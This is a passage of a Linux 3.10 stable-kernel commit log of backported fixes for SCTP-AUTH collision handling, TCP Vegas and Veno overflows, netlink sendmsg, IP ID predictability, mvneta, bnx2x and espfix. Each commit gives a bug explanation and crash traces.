nZcv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user Control: 0005397f Table: 06f28000 DAC: 00000015 Process sctp-test (pid: 104, stack limit = 0xc6f521c0) Stack: (0xc6f538e8 to 0xc6f54000) [...] Backtrace: [] (sctp_auth_calculate_hmac+0x0/0x10c) from [] (sctp_packet_transmit+0x33c/0x5c8) [] (sctp_packet_transmit+0x0/0x5c8) from [] (sctp_outq_flush+0x7fc/0x844) [] (sctp_outq_flush+0x0/0x844) from [] (sctp_outq_uncork+0x24/0x28) [] (sctp_outq_uncork+0x0/0x28) from [] (sctp_side_effects+0x1134/0x1220) [] (sctp_side_effects+0x0/0x1220) from [] (sctp_do_sm+0xac/0xd4) [] (sctp_do_sm+0x0/0xd4) from [] (sctp_assoc_bh_rcv+0x118/0x160) [] (sctp_assoc_bh_rcv+0x0/0x160) from [] (sctp_inq_push+0x6c/0x74) [] (sctp_inq_push+0x0/0x74) from [] (sctp_rcv+0x7d8/0x888) While we already had various kind of bugs in that area ec0223ec48a9 ("net: sctp: fix sctp_sf_do_5_1D_ce to verify if we/peer is AUTH capable") and b14878ccb7fa ("net: sctp: cache auth_enable per endpoint"), this one is a bit of a different kind. Giving a bit more background on why SCTP authentication is needed can be found in RFC4895: SCTP uses 32-bit verification tags to protect itself against blind attackers. These values are not changed during the lifetime of an SCTP association. Looking at new SCTP extensions, there is the need to have a method of proving that an SCTP chunk(s) was really sent by the original peer that started the association and not by a malicious attacker. To cause this bug, we're triggering an INIT collision between peers; normal SCTP handshake where both sides intent to authenticate packets contains RANDOM; CHUNKS; HMAC-ALGO parameters that are being negotiated among peers: ---------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ----------> <------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] --------- -------------------- COOKIE-ECHO --------------------> <-------------------- COOKIE-ACK --------------------- RFC4895 says that each endpoint therefore knows its own random number and the peer's random number *after* the association has been established. The local and peer's random number along with the shared key are then part of the secret used for calculating the HMAC in the AUTH chunk. Now, in our scenario, we have 2 threads with 1 non-blocking SEQ_PACKET socket each, setting up common shared SCTP_AUTH_KEY and SCTP_AUTH_ACTIVE_KEY properly, and each of them calling sctp_bindx(3), listen(2) and connect(2) against each other, thus the handshake looks similar to this, e.g.: ---------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ----------> <------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] --------- <--------- INIT[RANDOM; CHUNKS; HMAC-ALGO] ----------- -------- INIT-ACK[RANDOM; CHUNKS; HMAC-ALGO] --------> ... Since such collisions can also happen with verification tags, the RFC4895 for AUTH rather vaguely says under section 6.1: In case of INIT collision, the rules governing the handling of this Random Number follow the same pattern as those for the Verification Tag, as explained in Section 5.2.4 of RFC 2960 [5]. Therefore, each endpoint knows its own Random Number and the peer's Random Number after the association has been established. In RFC2960, section 5.2.4, we're eventually hitting Action B: B) In this case, both sides may be attempting to start an association at about the same time but the peer endpoint started its INIT after responding to the local endpoint's INIT. Thus it may have picked a new Verification Tag not being aware of the previous Tag it had sent this endpoint. The endpoint should stay in or enter the ESTABLISHED state but it MUST update its peer's Verification Tag from the State Cookie, stop any init or cookie timers that may running and send a COOKIE ACK. In other words, the handling of the Random parameter is the same as behavior for the Verification Tag as described in Action B of section 5.2.4. Looking at the code, we exactly hit the sctp_sf_do_dupcook_b() case which triggers an SCTP_CMD_UPDATE_ASSOC command to the side effect interpreter, and in fact it properly copies over peer_{random, hmacs, chunks} parameters from the newly created association to update the existing one. Also, the old asoc_shared_key is being released and based on the new params, sctp_auth_asoc_init_active_key() updated. However, the issue observed in this case is that the previous asoc->peer.auth_capable was 0, and has *not* been updated, so that instead of creating a new secret, we're doing an early return from the function sctp_auth_asoc_init_active_key() leaving asoc->asoc_shared_key as NULL. However, we now have to authenticate chunks from the updated chunk list (e.g. COOKIE-ACK). That in fact causes the server side when responding with ... <------------------ AUTH; COOKIE-ACK ----------------- ... to trigger a NULL pointer dereference, since in sctp_packet_transmit(), it discovers that an AUTH chunk is being queued for xmit, and thus it calls sctp_auth_calculate_hmac(). Since the asoc->active_key_id is still inherited from the endpoint, and the same as encoded into the chunk, it uses asoc->asoc_shared_key, which is still NULL, as an asoc_key and dereferences it in ... crypto_hash_setkey(desc.tfm, &asoc_key->data[0], asoc_key->len) ... causing an oops. All this happens because sctp_make_cookie_ack() called with the *new* association has the peer.auth_capable=1 and therefore marks the chunk with auth=1 after checking sctp_auth_send_cid(), but it is *actually* sent later on over the then *updated* association's transport that didn't initialize its shared key due to peer.auth_capable=0. Since control chunks in that case are not sent by the temporary association which are scheduled for deletion, they are issued for xmit via SCTP_CMD_REPLY in the interpreter with the context of the *updated* association. peer.auth_capable was 0 in the updated association (which went from COOKIE_WAIT into ESTABLISHED state), since all previous processing that performed sctp_process_init() was being done on temporary associations, that we eventually throw away each time. The correct fix is to update to the new peer.auth_capable value as well in the collision case via sctp_assoc_update(), so that in case the collision migrated from 0 -> 1, sctp_auth_asoc_init_active_key() can properly recalculate the secret. This therefore fixes the observed server panic. Fixes: 730fc3d05cd4 ("[SCTP]: Implete SCTP-AUTH parameter processing") Reported-by: Jason Gunthorpe Signed-off-by: Daniel Borkmann Tested-by: Jason Gunthorpe Cc: Vlad Yasevich Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c718620448555130b01e579484982dddc427a069 Author: Christoph Paasch Date: Tue Jul 29 13:40:57 2014 +0200 tcp: Fix integer-overflow in TCP vegas [ Upstream commit 1f74e613ded11517db90b2bd57e9464d9e0fb161 ] In vegas we do a multiplication of the cwnd and the rtt. This may overflow and thus their result is stored in a u64. However, we first need to cast the cwnd so that actually 64-bit arithmetic is done. Then, we need to do do_div to allow this to be used on 32-bit arches. Cc: Stephen Hemminger Cc: Neal Cardwell Cc: Eric Dumazet Cc: David Laight Cc: Doug Leith Fixes: 8d3a564da34e (tcp: tcp_vegas cong avoid fix) Signed-off-by: Christoph Paasch Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34a11306458c889c9584e62e6061621b9505272e Author: Christoph Paasch Date: Tue Jul 29 12:07:27 2014 +0200 tcp: Fix integer-overflows in TCP veno [ Upstream commit 45a07695bc64b3ab5d6d2215f9677e5b8c05a7d0 ] In veno we do a multiplication of the cwnd and the rtt. This may overflow and thus their result is stored in a u64. However, we first need to cast the cwnd so that actually 64-bit arithmetic is done. A first attempt at fixing 76f1017757aa0 ([TCP]: TCP Veno congestion control) was made by 159131149c2 (tcp: Overflow bug in Vegas), but it failed to add the required cast in tcp_veno_cong_avoid(). Fixes: 76f1017757aa0 ([TCP]: TCP Veno congestion control) Signed-off-by: Christoph Paasch Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c19976c9ba424b10cde55f4863587a0778c06f88 Author: Andrey Ryabinin Date: Sat Jul 26 21:26:58 2014 +0400 net: sendmsg: fix NULL pointer dereference [ Upstream commit 40eea803c6b2cfaab092f053248cbeab3f368412 ] Sasha's report: > While fuzzing with trinity inside a KVM tools guest running the latest -next > kernel with the KASAN patchset, I've stumbled on the following spew: > > [ 4448.949424] ================================================================== > [ 4448.951737] AddressSanitizer: user-memory-access on address 0 > [ 4448.952988] Read of size 2 by thread T19638: > [ 4448.954510] CPU: 28 PID: 19638 Comm: trinity-c76 Not tainted 3.16.0-rc4-next-20140711-sasha-00046-g07d3099-dirty #813 > [ 4448.956823] ffff88046d86ca40 0000000000000000 ffff880082f37e78 ffff880082f37a40 > [ 4448.958233] ffffffffb6e47068 ffff880082f37a68 ffff880082f37a58 ffffffffb242708d > [ 4448.959552] 0000000000000000 ffff880082f37a88 ffffffffb24255b1 0000000000000000 > [ 4448.961266] Call Trace: > [ 4448.963158] dump_stack (lib/dump_stack.c:52) > [ 4448.964244] kasan_report_user_access (mm/kasan/report.c:184) > [ 4448.965507] __asan_load2 (mm/kasan/kasan.c:352) > [ 4448.966482] ? netlink_sendmsg (net/netlink/af_netlink.c:2339) > [ 4448.967541] netlink_sendmsg (net/netlink/af_netlink.c:2339) > [ 4448.968537] ? get_parent_ip (kernel/sched/core.c:2555) > [ 4448.970103] sock_sendmsg (net/socket.c:654) > [ 4448.971584] ? might_fault (mm/memory.c:3741) > [ 4448.972526] ? might_fault (./arch/x86/include/asm/current.h:14 mm/memory.c:3740) > [ 4448.973596] ? verify_iovec (net/core/iovec.c:64) > [ 4448.974522] ___sys_sendmsg (net/socket.c:2096) > [ 4448.975797] ? put_lock_stats.isra.13 (./arch/x86/include/asm/preempt.h:98 kernel/locking/lockdep.c:254) > [ 4448.977030] ? lock_release_holdtime (kernel/locking/lockdep.c:273) > [ 4448.978197] ? lock_release_non_nested (kernel/locking/lockdep.c:3434 (discriminator 1)) > [ 4448.979346] ? check_chain_key (kernel/locking/lockdep.c:2188) > [ 4448.980535] __sys_sendmmsg (net/socket.c:2181) > [ 4448.981592] ? trace_hardirqs_on_caller (kernel/locking/lockdep.c:2600) > [ 4448.982773] ? trace_hardirqs_on (kernel/locking/lockdep.c:2607) > [ 4448.984458] ? syscall_trace_enter (arch/x86/kernel/ptrace.c:1500 (discriminator 2)) > [ 4448.985621] ? trace_hardirqs_on_caller (kernel/locking/lockdep.c:2600) > [ 4448.986754] SyS_sendmmsg (net/socket.c:2201) > [ 4448.987708] tracesys (arch/x86/kernel/entry_64.S:542) > [ 4448.988929] ================================================================== This reports means that we've come to netlink_sendmsg() with msg->msg_name == NULL and msg->msg_namelen > 0. After this report there was no usual "Unable to handle kernel NULL pointer dereference" and this gave me a clue that address 0 is mapped and contains valid socket address structure in it. This bug was introduced in f3d3342602f8bcbf37d7c46641cb9bca7618eb1c (net: rework recvmsg handler msg_name and msg_namelen logic). Commit message states that: "Set msg->msg_name = NULL if user specified a NULL in msg_name but had a non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't affect sendto as it would bail out earlier while trying to copy-in the address." But in fact this affects sendto when address 0 is mapped and contains socket address structure in it. In such case copy-in address will succeed, verify_iovec() function will successfully exit with msg->msg_namelen > 0 and msg->msg_name == NULL. This patch fixes it by setting msg_namelen to 0 if msg_name == NULL. Cc: Hannes Frederic Sowa Cc: Eric Dumazet Cc: Reported-by: Sasha Levin Signed-off-by: Andrey Ryabinin Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4695b4b17eb39fc816c574beb67b5588d1ca0883 Author: Eric Dumazet Date: Sat Jul 26 08:58:10 2014 +0200 ip: make IP identifiers less predictable [ Upstream commit 04ca6973f7c1a0d8537f2d9906a0cf8e69886d75 ] In "Counting Packets Sent Between Arbitrary Internet Hosts", Jeffrey and Jedidiah describe ways exploiting linux IP identifier generation to infer whether two machines are exchanging packets. With commit 73f156a6e8c1 ("inetpeer: get rid of ip_id_count"), we changed IP id generation, but this does not really prevent this side-channel technique. This patch adds a random amount of perturbation so that IP identifiers for a given destination [1] are no longer monotonically increasing after an idle period. Note that prandom_u32_max(1) returns 0, so if generator is used at most once per jiffy, this patch inserts no hole in the ID suite and do not increase collision probability. This is jiffies based, so in the worst case (HZ=1000), the id can rollover after ~65 seconds of idle time, which should be fine. We also change the hash used in __ip_select_ident() to not only hash on daddr, but also saddr and protocol, so that ICMP probes can not be used to infer information for other protocols. For IPv6, adds saddr into the hash as well, but not nexthdr. If I ping the patched target, we can see ID are now hard to predict. 21:57:11.008086 IP (...) A > target: ICMP echo request, seq 1, length 64 21:57:11.010752 IP (... id 2081 ...) target > A: ICMP echo reply, seq 1, length 64 21:57:12.013133 IP (...) A > target: ICMP echo request, seq 2, length 64 21:57:12.015737 IP (... id 3039 ...) target > A: ICMP echo reply, seq 2, length 64 21:57:13.016580 IP (...) A > target: ICMP echo request, seq 3, length 64 21:57:13.019251 IP (... id 3437 ...) target > A: ICMP echo reply, seq 3, length 64 [1] TCP sessions uses a per flow ID generator not changed by this patch. Signed-off-by: Eric Dumazet Reported-by: Jeffrey Knockel Reported-by: Jedidiah R. Crandall Cc: Willy Tarreau Cc: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 30a0de38343816987a717c23c511ecc85ef05174 Author: Eric Dumazet Date: Mon Jun 2 05:26:03 2014 -0700 inetpeer: get rid of ip_id_count [ Upstream commit 73f156a6e8c1074ac6327e0abd1169e95eb66463 ] Ideally, we would need to generate IP ID using a per destination IP generator. linux kernels used inet_peer cache for this purpose, but this had a huge cost on servers disabling MTU discovery. 1) each inet_peer struct consumes 192 bytes 2) inetpeer cache uses a binary tree of inet_peer structs, with a nominal size of ~66000 elements under load. 3) lookups in this tree are hitting a lot of cache lines, as tree depth is about 20. 4) If server deals with many tcp flows, we have a high probability of not finding the inet_peer, allocating a fresh one, inserting it in the tree with same initial ip_id_count, (cf secure_ip_id()) 5) We garbage collect inet_peer aggressively. IP ID generation do not have to be 'perfect' Goal is trying to avoid duplicates in a short period of time, so that reassembly units have a chance to complete reassembly of fragments belonging to one message before receiving other fragments with a recycled ID. We simply use an array of generators, and a Jenkin hash using the dst IP as a key. ipv6_select_ident() is put back into net/ipv6/ip6_output.c where it belongs (it is only used from this file) secure_ip_id() and secure_ipv6_id() no longer are needed. Rename ip_select_ident_more() to ip_select_ident_segs() to avoid unnecessary decrement/increment of the number of segments. Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84a73f4379d023be16346823ade3f6a2a7342a5d Author: Dmitry Kravkov Date: Thu Jul 24 18:54:47 2014 +0300 bnx2x: fix crash during TSO tunneling [ Upstream commit fe26566d8a05151ba1dce75081f6270f73ec4ae1 ] When TSO packet is transmitted additional BD w/o mapping is used to describe the packed. The BD needs special handling in tx completion. kernel: Call Trace: kernel: [] dump_stack+0x19/0x1b kernel: [] warn_slowpath_common+0x61/0x80 kernel: [] warn_slowpath_fmt+0x5c/0x80 kernel: [] ? find_iova+0x4d/0x90 kernel: [] intel_unmap_page.part.36+0x142/0x160 kernel: [] intel_unmap_page+0x26/0x30 kernel: [] bnx2x_free_tx_pkt+0x157/0x2b0 [bnx2x] kernel: [] bnx2x_tx_int+0xac/0x220 [bnx2x] kernel: [] ? read_tsc+0x9/0x20 kernel: [] bnx2x_poll+0xbb/0x3c0 [bnx2x] kernel: [] net_rx_action+0x15a/0x250 kernel: [] __do_softirq+0xf7/0x290 kernel: [] call_softirq+0x1c/0x30 kernel: [] do_softirq+0x55/0x90 kernel: [] irq_exit+0x115/0x120 kernel: [] do_IRQ+0x58/0xf0 kernel: [] common_interrupt+0x6d/0x6d kernel: [] ? clockevents_notify+0x127/0x140 kernel: [] ? cpuidle_enter_state+0x4f/0xc0 kernel: [] cpuidle_idle_call+0xc5/0x200 kernel: [] arch_cpu_idle+0xe/0x30 kernel: [] cpu_startup_entry+0xf5/0x290 kernel: [] start_secondary+0x265/0x27b kernel: ---[ end trace 11aa7726f18d7e80 ]--- Fixes: a848ade408b ("bnx2x: add CSUM and TSO support for encapsulation protocols") Reported-by: Yulong Pei Cc: Michal Schmidt Signed-off-by: Dmitry Kravkov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcf4ad5541700007e0393b293dd097b9c0ce5dfb Author: Greg Kroah-Hartman Date: Thu Aug 7 14:42:40 2014 -0700 Linux 3.10.52 Signed-off-by: Pranav Vashi commit 69cdc1876a1a5917bd808466bfffab0bbc3a550b Author: Boris Ostrovsky Date: Wed Jul 9 13:18:18 2014 -0400 x86/espfix/xen: Fix allocation of pages for paravirt page tables commit 8762e5092828c4dc0f49da5a47a644c670df77f3 upstream. init_espfix_ap() is currently off by one level when informing hypervisor that allocated pages will be used for ministacks' page tables. The most immediate effect of this on a PV guest is that if 'stack_page = __get_free_page()' returns a non-zeroed-out page the hypervisor will refuse to use it for a page table (which it shouldn't be anyway). This will result in warnings by both Xen and Linux. More importantly, a subsequent write to that page (again, by a PV guest) is likely to result in fatal page fault. Signed-off-by: Boris Ostrovsky Link: http://lkml.kernel.org/r/1404926298-5565-1-git-send-email-boris.ostrovsky@oracle.com Reviewed-by: Konrad Rzeszutek Wilk Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68420ed11eb3c073f95631bc5eb3066b33508a7d Author: Minfei Huang Date: Wed Jun 4 16:11:53 2014 -0700 lib/btree.c: fix leak of whole btree nodes commit c75b53af2f0043aff500af0a6f878497bef41bca upstream. I use btree from 3.14-rc2 in my own module. When the btree module is removed, a warning arises: kmem_cache_destroy btree_node: Slab cache still has objects CPU: 13 PID: 9150 Comm: rmmod Tainted: GF O 3.14.0-rc2 #1 Hardware name: Inspur NF5270M3/NF5270M3, BIOS CHEETAH_2.1.3 09/10/2013 Call Trace: dump_stack+0x49/0x5d kmem_cache_destroy+0xcf/0xe0 btree_module_exit+0x10/0x12 [btree] SyS_delete_module+0x198/0x1f0 system_call_fastpath+0x16/0x1b The cause is that it doesn't release the last btree node, when height = 1 and fill = 1. [akpm@linux-foundation.org: remove unneeded test of NULL] Signed-off-by: Minfei Huang Cc: Joern Engel Cc: Johannes Berg Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1e8d747ccfc35dafc80ca6280acd9394faab514f Author: willy tarreau Date: Thu Jan 16 08:20:11 2014 +0100 net: mvneta: replace Tx timer with a real interrupt commit 71f6d1b31fb1f278a345a30a2180515adc7d80ae upstream. Right now the mvneta driver doesn't handle Tx IRQ, and relies on two mechanisms to flush Tx descriptors : a flush at the end of mvneta_tx() and a timer. If a burst of packets is emitted faster than the device can send them, then the queue is stopped until next wake-up of the timer 10ms later. This causes jerky output traffic with bursts and pauses, making it difficult to reach line rate with very few streams. A test on UDP traffic shows that it's not possible to go beyond 134 Mbps / 12 kpps of outgoing traffic with 1500-bytes IP packets. Routed traffic tends to observe pauses as well if the traffic is bursty, making it even burstier after the wake-up. It seems that this feature was inherited from the original driver but nothing there mentions any reason for not using the interrupt instead, which the chip supports. Thus, this patch enables Tx interrupts and removes the timer. It does the two at once because it's not really possible to make the two mechanisms coexist, so a split patch doesn't make sense. First tests performed on a Mirabox (Armada 370) show that less CPU seems to be used when sending traffic. One reason might be that we now call the mvneta_tx_done_gbe() with a mask indicating which queues have been done instead of looping over all of them. The same UDP test above now happily reaches 987 Mbps / 87.7 kpps. Single-stream TCP traffic can now more easily reach line rate. HTTP transfers of 1 MB objects over a single connection went from 730 to 840 Mbps. It is even possible to go significantly higher (>900 Mbps) by tweaking tcp_tso_win_divisor. Cc: Thomas Petazzoni Cc: Gregory CLEMENT Cc: Arnaud Ebalard Cc: Eric Dumazet Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e3e410957a53d52d5278f5ab71762e131405e8a Author: willy tarreau Date: Thu Jan 16 08:20:10 2014 +0100 net: mvneta: add missing bit descriptions for interrupt masks and causes commit 40ba35e74fa56866918d2f3bc0528b5b92725d5e upstream. Marvell has not published the chip's datasheet yet, so it's very hard to find the relevant bits to manipulate to change the IRQ behaviour. Fortunately, these bits are described in the proprietary LSP patch set which is publicly available here : http://www.plugcomputer.org/downloads/mirabox/ So let's put them back in the driver in order to reduce the burden of current and future maintenance. Cc: Thomas Petazzoni Cc: Gregory CLEMENT Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8b14e79ba9d19c98069a352ae2d2bc6d59d62346 Author: willy tarreau Date: Thu Jan 16 08:20:09 2014 +0100 net: mvneta: do not schedule in mvneta_tx_timeout commit 290213667ab53a95456397763205e4b1e30f46b5 upstream. If a queue timeout is reported, we can oops because of some schedules while the caller is atomic, as shown below : mvneta d0070000.ethernet eth0: tx timeout BUG: scheduling while atomic: bash/1528/0x00000100 Modules linked in: slhttp_ethdiv(C) [last unloaded: slhttp_ethdiv] CPU: 2 PID: 1528 Comm: bash Tainted: G WC 3.13.0-rc4-mvebu-nf #180 [] (unwind_backtrace+0x1/0x98) from [] (show_stack+0xb/0xc) [] (show_stack+0xb/0xc) from [] (dump_stack+0x4f/0x64) [] (dump_stack+0x4f/0x64) from [] (__schedule_bug+0x37/0x4c) [] (__schedule_bug+0x37/0x4c) from [] (__schedule+0x325/0x3ec) [] (__schedule+0x325/0x3ec) from [] (schedule_timeout+0xb7/0x118) [] (schedule_timeout+0xb7/0x118) from [] (msleep+0xf/0x14) [] (msleep+0xf/0x14) from [] (mvneta_stop_dev+0x21/0x194) [] (mvneta_stop_dev+0x21/0x194) from [] (mvneta_tx_timeout+0x19/0x24) [] (mvneta_tx_timeout+0x19/0x24) from [] (dev_watchdog+0x18b/0x1c4) [] (dev_watchdog+0x18b/0x1c4) from [] (call_timer_fn.isra.27+0x17/0x5c) [] (call_timer_fn.isra.27+0x17/0x5c) from [] (run_timer_softirq+0x115/0x170) [] (run_timer_softirq+0x115/0x170) from [] (__do_softirq+0xbd/0x1a8) [] (__do_softirq+0xbd/0x1a8) from [] (irq_exit+0x61/0x98) [] (irq_exit+0x61/0x98) from [] (handle_IRQ+0x27/0x60) [] (handle_IRQ+0x27/0x60) from [] (armada_370_xp_handle_irq+0x33/0xc8) [] (armada_370_xp_handle_irq+0x33/0xc8) from [] (__irq_usr+0x49/0x60) Ben Hutchings attempted to propose a better fix consisting in using a scheduled work for this, but while it fixed this panic, it caused other random freezes and panics proving that the reset sequence in the driver is unreliable and that additional fixes should be investigated. When sending multiple streams over a link limited to 100 Mbps, Tx timeouts happen from time to time, and the driver correctly recovers only when the function is disabled. Cc: Thomas Petazzoni Cc: Gregory CLEMENT Cc: Ben Hutchings Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa78268acebc392937c297cf12e167661e488e79 Author: willy tarreau Date: Thu Jan 16 08:20:08 2014 +0100 net: mvneta: use per_cpu stats to fix an SMP lock up commit 74c41b048db1073a04827d7f39e95ac1935524cc upstream. Stats writers are mvneta_rx() and mvneta_tx(). They don't lock anything when they update the stats, and as a result, it randomly happens that the stats freeze on SMP if two updates happen during stats retrieval. This is very easily reproducible by starting two HTTP servers and binding each of them to a different CPU, then consulting /proc/net/dev in loops during transfers, the interface should immediately lock up. This issue also randomly happens upon link state changes during transfers, because the stats are collected in this situation, but it takes more attempts to reproduce it. The comments in netdevice.h suggest using per_cpu stats instead to get rid of this issue. This patch implements this. It merges both rx_stats and tx_stats into a single "stats" member with a single syncp. Both mvneta_rx() and mvneta_rx() now only update the a single CPU's counters. In turn, mvneta_get_stats64() does the summing by iterating over all CPUs to get their respective stats. With this change, stats are still correct and no more lockup is encountered. Note that this bug was present since the first import of the mvneta driver. It might make sense to backport it to some stable trees. If so, it depends on "d33dc73 net: mvneta: increase the 64-bit rx/tx stats out of the hot path". Cc: Thomas Petazzoni Cc: Gregory CLEMENT Reviewed-by: Eric Dumazet Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller [wt: port to 3.10 : u64_stats_init() does not exist in 3.10 and is not needed] Signed-off-by: Willy Tarreau Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8d2b76b444408a18b8808cbe890527d7ea39e7f7 Author: willy tarreau Date: Thu Jan 16 08:20:07 2014 +0100 net: mvneta: increase the 64-bit rx/tx stats out of the hot path commit dc4277dd41a80fd5f29a90412ea04bc3ba54fbf1 upstream. Better count packets and bytes in the stack and on 32 bit then accumulate them at the end for once. This saves two memory writes and two memory barriers per packet. The incoming packet rate was increased by 4.7% on the Openblocks AX3 thanks to this. Cc: Thomas Petazzoni Cc: Gregory CLEMENT Reviewed-by: Eric Dumazet Tested-by: Arnaud Ebalard Signed-off-by: Willy Tarreau Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c26f37c7f32a0d4eb2373a4f1262f8c5a154bb6 Author: Johannes Berg Date: Mon Jul 7 12:01:11 2014 +0200 Revert "mac80211: move "bufferable MMPDU" check to fix AP mode scan" commit 08b9939997df30e42a228e1ecb97f99e9c8ea84e upstream. This reverts commit 277d916fc2e959c3f106904116bb4f7b1148d47a as it was at least breaking iwlwifi by setting the IEEE80211_TX_CTL_NO_PS_BUFFER flag in all kinds of interface modes, not only for AP mode where it is appropriate. To avoid reintroducing the original problem, explicitly check for probe request frames in the multicast buffering code. Fixes: 277d916fc2e9 ("mac80211: move "bufferable MMPDU" check to fix AP mode scan") Signed-off-by: Johannes Berg Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 43be44b2b108bf70cd47720dc6380340b0d790f3 Author: Malcolm Priestley Date: Wed Jul 23 21:35:11 2014 +0100 staging: vt6655: Fix Warning on boot handle_irq_event_percpu. commit 6cff1f6ad4c615319c1a146b2aa0af1043c5e9f5 upstream. WARNING: CPU: 0 PID: 929 at /home/apw/COD/linux/kernel/irq/handle.c:147 handle_irq_event_percpu+0x1d1/0x1e0() irq 17 handler device_intr+0x0/0xa80 [vt6655_stage] enabled interrupts Using spin_lock_irqsave appears to fix this. Signed-off-by: Malcolm Priestley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7fac4517cf307573c493b9d3eb0a9e9b83dbe2e1 Author: Andy Lutomirski Date: Wed Jul 23 08:34:11 2014 -0700 x86_64/entry/xen: Do not invoke espfix64 on Xen commit 7209a75d2009dbf7745e2fd354abf25c3deb3ca3 upstream. This moves the espfix64 logic into native_iret. To make this work, it gets rid of the native patch for INTERRUPT_RETURN: INTERRUPT_RETURN on native kernels is now 'jmp native_iret'. This changes the 16-bit SS behavior on Xen from OOPSing to leaking some bits of the Xen hypervisor's RSP (I think). [ hpa: this is a nonzero cost on native, but probably not enough to measure. Xen needs to fix this in their own code, probably doing something equivalent to espfix64. ] Signed-off-by: Andy Lutomirski Link: http://lkml.kernel.org/r/7b8f1d8ef6597cb16ae004a43c56980a7de3cf94.1406129132.git.luto@amacapital.net Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5b97ed415fca2f7516d8c72377b9b55c3052ecc7 Author: H. Peter Anvin Date: Sun May 4 10:36:22 2014 -0700 x86, espfix: Make it possible to disable 16-bit support commit 34273f41d57ee8d854dcd2a1d754cbb546cb548f upstream. Embedded systems, which may be very memory-size-sensitive, are extremely unlikely to ever encounter any 16-bit software, so make it a CONFIG_EXPERT option to turn off support for any 16-bit software whatsoever. Signed-off-by: H. Peter Anvin Link: http://lkml.kernel.org/r/1398816946-3351-1-git-send-email-hpa@linux.intel.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f5f3aa9f02ebf4eda82c3735eef5f3fde529e34d Author: H. Peter Anvin Date: Sun May 4 10:00:49 2014 -0700 x86, espfix: Make espfix64 a Kconfig option, fix UML commit 197725de65477bc8509b41388157c1a2283542bb upstream. Make espfix64 a hidden Kconfig option. This fixes the x86-64 UML build which had broken due to the non-existence of init_espfix_bsp() in UML: since UML uses its own Kconfig, this option does not appear in the UML build. This also makes it possible to make support for 16-bit segments a configuration option, for the people who want to minimize the size of the kernel. Reported-by: Ingo Molnar Signed-off-by: H. Peter Anvin Cc: Richard Weinberger Link: http://lkml.kernel.org/r/1398816946-3351-1-git-send-email-hpa@linux.intel.com Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 40acd563ba745156d4862c477ef49b3a37a5175c Author: H. Peter Anvin Date: Fri May 2 11:33:51 2014 -0700 x86, espfix: Fix broken header guard commit 20b68535cd27183ebd3651ff313afb2b97dac941 upstream. Header guard is #ifndef, not #ifdef... Reported-by: Fengguang Wu Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1bdf5fcf8d3cf2c26dd7b9ba9d9fe4bd51254a25 Author: H. Peter Anvin Date: Thu May 1 14:12:23 2014 -0700 x86, espfix: Move espfix definitions into a separate header file commit e1fe9ed8d2a4937510d0d60e20705035c2609aea upstream. Sparse warns that the percpu variables aren't declared before they are defined. Rather than hacking around it, move espfix definitions into a proper header file. Reported-by: Fengguang Wu Signed-off-by: H. Peter Anvin Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b31f9bb12ae13c1d85e7c2e52982ea1e7f6f97d1 Author: H. Peter Anvin Date: Tue Apr 29 16:46:09 2014 -0700 x86-64, espfix: Don't leak bits 31:16 of %esp returning to 16-bit stack commit 3891a04aafd668686239349ea58f3314ea2af86b upstream. The IRET instruction, when returning to a 16-bit segment, only restores the bottom 16 bits of the user space stack pointer. This causes some 16-bit software to break, but it also leaks kernel state to user space. We have a software workaround for that ("espfix") for the 32-bit kernel, but it relies on a nonzero stack segment base which is not available in 64-bit mode. In checkin: b3b42ac2cbae x86-64, modify_ldt: Ban 16-bit segments on 64-bit kernels we "solved" this by forbidding 16-bit segments on 64-bit kernels, with the logic that 16-bit support is crippled on 64-bit kernels anyway (no V86 support), but it turns out that people are doing stuff like running old Win16 binaries under Wine and expect it to work. This works around this by creating percpu "ministacks", each of which is mapped 2^16 times 64K apart. When we detect that the return SS is on the LDT, we copy the IRET frame to the ministack and use the relevant alias to return to userspace. The ministacks are mapped readonly, so if IRET faults we promote #GP to 